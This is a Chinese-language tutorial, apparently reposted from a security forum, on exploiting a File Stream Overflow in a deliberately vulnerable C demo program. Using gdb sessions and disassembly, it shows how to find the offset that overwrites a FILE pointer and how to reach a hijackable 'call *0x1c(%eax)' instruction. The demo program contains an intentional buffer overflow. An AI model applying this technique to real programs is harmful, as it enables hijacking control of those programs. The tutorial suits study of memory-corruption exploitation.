漏洞利用的方法之研究

来源:百度文库 编辑:神马文学网 时间:2024/04/20 12:08:47
原创:noble(noble)
漏洞利用的方法之研究
作者:noble
邮箱:noble_shi@21cn.com
声明:
(1)本文可以任意修改,不过请保留该头。
(2)由于作者水平有限,如有错误,请不吝赐教。
(3)本文中引用了alert7大侠的一个例子。
目录:
(1)前言
(2)漏洞利用方法
(3)结论(如果能看懂,第一、二部分可以略去)
1.前言
先说一些废话把。
昨天看了altert7的FSO(File Stream Overflows)型溢出介绍后,觉得写一写漏洞利用方法还是有必要的。
对于有源码的,那当然要简单一些。但是通常情况下读源码很费劲,而且需要大量的后备知识,所以相对来说还是比较困难。以前我也这么做过,确实不易。相对来说,发现程序出错,然后在出错的地方寻找漏洞,相对来说还是要简单一些。
下面的讨论我们都假设没有源码可查,在黑暗中摸索漏洞。
为了我自己方便期间,也为了大家读起来熟悉,我们还用alert7先生的那个FSO可溢出的程序作为例子。
2.漏洞利用方法
下面是alert7的一个可以被FSO溢出的例子,我们在这里引用。
/*
*vul.c demo
*write by alert7@xfocus.org
*/
#include
int main(int argc, char *argv[])
{
FILE * fp;
char buf[1024];
int i;
fp =stdout;
i = (int)&fp-(int)&buf;
printf(" fp addr %p point %p buf addr %p len %d ",&fp,fp,buf,i);
strncpy(buf,argv[1],i +4 );
fprintf(fp,"%s ",buf);
exit(0);
}
首先我们编译、运行之,发现出错了,如下:
bash-2.05$ ./vul
fp addr 0xbffff9ac point 0x4015ee60
buf addr 0xbffff5a0
len 1036
Segmentation fault
然后用gdb调试,注意,我们这里假设已经知道用多个“A”做参数程序会出错,则如下:
bash-2.05$ gdb -q vul
(gdb) r `perl -e print "A"x2000 `
Starting program: /home/syf/syf/try/vul `perl -e print "A"x2000 `
fp addr 0xbfffe6bc point 0x4015ee60
buf addr 0xbfffe2b0
len 1036
Program received signal SIGSEGV, Segmentation fault.
0x4007fe77 in _IO_vfprintf (s=0x41414141, format=0x804866a "%s ", ap=0xbfffe298)
at vfprintf.c:271
271 vfprintf.c: No such file or directory.
in vfprintf.c
(gdb) i r eax edx eip
eax 0x41414141 1094795585
edx 0x804866a 134514282
eip 0x4007fe77 0x4007fe77
然后应该怎么办那,首先要看看出错的那条指令是什么:
(gdb) x/i $eip
0x4007fe77 <_IO_vfprintf+55>: cmpb $0x0,0x46(%eax)
不爽,这条指令是cmpb ,这对我们可没什么用,我们需要的是call,
jmp之类的东西。所以我们在构造参数的时候,需要源程序执行时能越过这条指令,看看越过这条指令之后,再次出错时,能不能碰到call或jmp之类的我们可以利用的指令。
那么,怎么构造参数才能越过这条指令呢?分析一下问什么会出错把,正如altert7所说,“
现在我们的fp已经被覆盖成了0x41414141,该地址是没有映射的,所以cmpb $0x0,0x46(%eax)
指令操作失败了”,不错,我们要将$0x0和0x46(%eax)做比较,那就是将$0x0和
(%eax+46)==(0x41414141+46)做比较,必然出错。那么只要我们能让eax是一个已经在内存中映射了的值就行了。那就需要我们构造合适的参数了。
在这个程序中,altert7大侠告诉了我们eax就是fp,如果不知道,而且由源码,那该怎么办呢?继续分析把!
(gdb) x/10i $eip - 0x10
0x4007fe67 <_IO_vfprintf+39>: call 0x40046050 <_dl_pagesize+193620>
0x4007fe6c <_IO_vfprintf+44>: mov (%eax),%eax
0x4007fe6e <_IO_vfprintf+46>: mov %eax,0xfffffa80(%ebp)
0x4007fe74 <_IO_vfprintf+52>: mov 0x8(%ebp),%eax
0x4007fe77 <_IO_vfprintf+55>: cmpb $0x0,0x46(%eax)
0x4007fe7b <_IO_vfprintf+59>: je 0x40084a80 <_IO_vfprintf+19520>
0x4007fe81 <_IO_vfprintf+65>: mov 0x8(%ebp),%esi
0x4007fe84 <_IO_vfprintf+68>: mov (%esi),%eax
0x4007fe86 <_IO_vfprintf+70>: test $0x8,%eax
0x4007fe8b <_IO_vfprintf+75>: je 0x4007feb0 <_IO_vfprintf+112>
从上面可以看到eax的户籍:mov
0x8(%ebp),%eax,那么ebp是什么呢?众所周知,ebp是函数堆栈栈顶指针,那么0x8(%ebp)就应该是函数_IO_vfprintf()的第一个参数,那么我们会猜到,这个函数的第一个参数很可能就是FILE指针。不信,你可以看看glibc,这玩艺可是公开的,当然在没有源码的情况下你可以做测试呀,来验证你的想法。不过这里即使知道了是FILE指针。
下面,继续寻找改变eax的方法,我还没想到特别好的方法,那就做测试把,改变参数,不停的测试,直到(gdb) r `perl -e print "A"x1037
`,我们发现:
(gdb) r `perl -e print "A"x1037 `
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/syf/syf/try/vul `perl -e print "A"x1037 `
fp addr 0xbfffdc8c point 0x4015ee60
buf addr 0xbfffd880
len 1036
Program received signal SIGSEGV, Segmentation fault.
0x4007fe77 in _IO_vfprintf (s=0x41, format=0x804866a "%s ", ap=0xbfffd868) at
vfprintf.c:271
271 vfprintf.c: No such file or directory.
in vfprintf.c
(gdb) i r eax
eax 0x41 65
好了,我们知道了,当长度是1036时,正好不改变eax的值,当长度是1040时,正好改变eax的值。
联系刚才说的那个FILE指针,你能不能猜到当长度是1036时,正好不会覆盖一个FILE指针,而长度是当长度是1040时,正好会覆盖它呢?不过即使你猜不到也没关系,你只需要知道eax是函数_IO_vfprintf()的第一个参数,而这个参数正好和我们参数长度是1036指向的那个内存中的数据等就行了。
下面我们就把1036-1040改为已经映射了的内存。简单的,随便选取一个把,为了兼容,我选取了alert7的那个,我试了,用别的也可以,不过不能有x00,那样字符串复制就会产生中断。
继续如下:
(gdb) r `perl -e print "A"x1036 ;print "x04xf4xffxbf" `
Starting program: /home/syf/syf/try/vul `perl -e print "A"x1036 ;print
"x04xf4xffxbf" `
fp addr 0xbfffe3fc point 0x4015ee60
buf addr 0xbfffdff0
len 1036
Program received signal SIGSEGV, Segmentation fault.
0x40080008 in _IO_vfprintf (s=0xbffff404, format=0x804866a "%s ", ap=0xbfffdfd8)
at vfprintf.c:1322
1322 vfprintf.c: No such file or directory.
in vfprintf.c
好了,又出现错误了,看看这次出错的指令是什么:
(gdb) x/i $eip
0x40080008 <_IO_vfprintf+456>: call *0x1c(%eax)
太好了,是call,有希望了。但是还有一个困难,也是最重要的一点,就是我们能否控制eax,只要我们控制了eax,也就控制了程序的流程。下面看看相关的指令把:
(gdb) x/20i $eip-40
0x4007ffe0 <_IO_vfprintf+416>: je 0x40084a00 <_IO_vfprintf+19392>
0x4007ffe6 <_IO_vfprintf+422>: mov 0x8(%ebp),%edx
0x4007ffe9 <_IO_vfprintf+425>: sub $0x4,%esp
0x4007ffec <_IO_vfprintf+428>: mov 0xfffffa74(%ebp),%edi
0x4007fff2 <_IO_vfprintf+434>: mov 0xc(%ebp),%esi
0x4007fff5 <_IO_vfprintf+437>: movsbl 0x46(%edx),%eax
0x4007fff9 <_IO_vfprintf+441>: sub %esi,%edi
0x4007fffb <_IO_vfprintf+443>: mov 0x94(%eax,%edx,1),%eax
0x40080002 <_IO_vfprintf+450>: push %edi
0x40080003 <_IO_vfprintf+451>: mov 0xc(%ebp),%ecx
0x40080006 <_IO_vfprintf+454>: push %ecx
0x40080007 <_IO_vfprintf+455>: push %edx
0x40080008 <_IO_vfprintf+456>: call *0x1c(%eax)
0x4008000b <_IO_vfprintf+459>: add $0x10,%esp
0x4008000e <_IO_vfprintf+462>: cmp %edi,%eax
0x40080010 <_IO_vfprintf+464>: je 0x40080094 <_IO_vfprintf+596>
0x40080016 <_IO_vfprintf+470>: lea 0x0(%esi),%esi
0x40080019 <_IO_vfprintf+473>: lea 0x0(%edi,1),%edi
0x40080020 <_IO_vfprintf+480>: mov $0xffffffff,%esi
0x40080025 <_IO_vfprintf+485>: mov %esi,0xfffffa90(%ebp)
我们又要查找eax的户籍了,自下而上依次是:
call *0x1c(%eax)
mov 0x94(%eax,%edx,1),%eax
movsbl 0x46(%edx),%eax
看看edx把:
mov 0x8(%ebp),%edx
好了,我们知道了edx是改函数_IO_vfprintf()的第一个参数,也就是在参数长度为1036时指向的那个内存。(如果你猜到那里有个FILE指针的话,那也就是那个FILE指针)。
差不多了,现在只要我们改变这个内存的值(参数长度为1036时指向的那个内存),就可以控制程序的流程了。怎么控制呢?如下:
(1)_IO_vfprintf()的第一个参数==参数长度为1036时指向的那个内存
(2)edx = 0x8(%ebp) = _IO_vfprintf()的第一个参数
(3)eax = 0x94(%eax,%edx,1) = *(eax + 0x94 + edx*1) = *(*(edx+46) + 0x94 + edx)
(4)call *0x1c(%eax)
所以,只要我们能够控制edx,就可以控制call
*0x1c(%eax),即可以改变程序流程。从上面可以看出,要控制edx,只要能够控制_IO_vfprintf()的第一个参数即可,而这个参数,就是参数长度为1036时指向的那个内存。
通过上面分析,可以知道,这个程序完全可以通过溢出获取系统控制权。而到现在为止,虽然我们能够写出相应的溢出代码了,但并不需要我们对源码进行了解,更不需要知道源码中用了那些数据结构和那些算法,完全从出错程序的反汇编就可以写出溢出代码。
3.结论
通过以上分析,我们可以得出如下结论:
(1)对于某些溢出,完全可以不用分析源码就可以写出溢出代码。当然如果有源码那就更好了。
(2)必须知道溢出的边界。即当输入生么样的参数时,正好溢出。就像我们上面确定的那个“1036“那样的临界值。对于这个值的确定,我还没有太好的办法,只能不停的测试。如果那位大侠有更好的办法,希望不吝赐教。
(3)我们能够利用的指令是call,jmp之类。当然不至于这些,mov之类写内存的应该也是可以的,这类指令应该可以导致堆溢出(heap-overflow)。
(4)如果我们出错的位置是我们不能利用的代码,那么就要想办法来越过这些代码,寻找下一条出错指令。
就像上面的例子,我们遇到的第一条出错指令是cmpb
$0x0,0x46(%eax),这是我们所不能利用的,所以我们要修改参数,使得程序执行越过这条出错指令,继续运行,并分析下遇到的下一条出错指令是否可以利用,实践证明下一个出错指令(call
*0x1c(%eax))是可以被利用的。
(5)和整形溢出向比较,FSO是在其他溢出(如栈溢出、堆溢出、格式化字符串溢出等)的基础上形成的,通过其他溢出,达到覆盖流文件句柄的目的。而整形溢出则恰恰相反,如果整形除了问题,可以导致其他溢出(如栈溢出、堆溢出、格式化字符串溢出等)。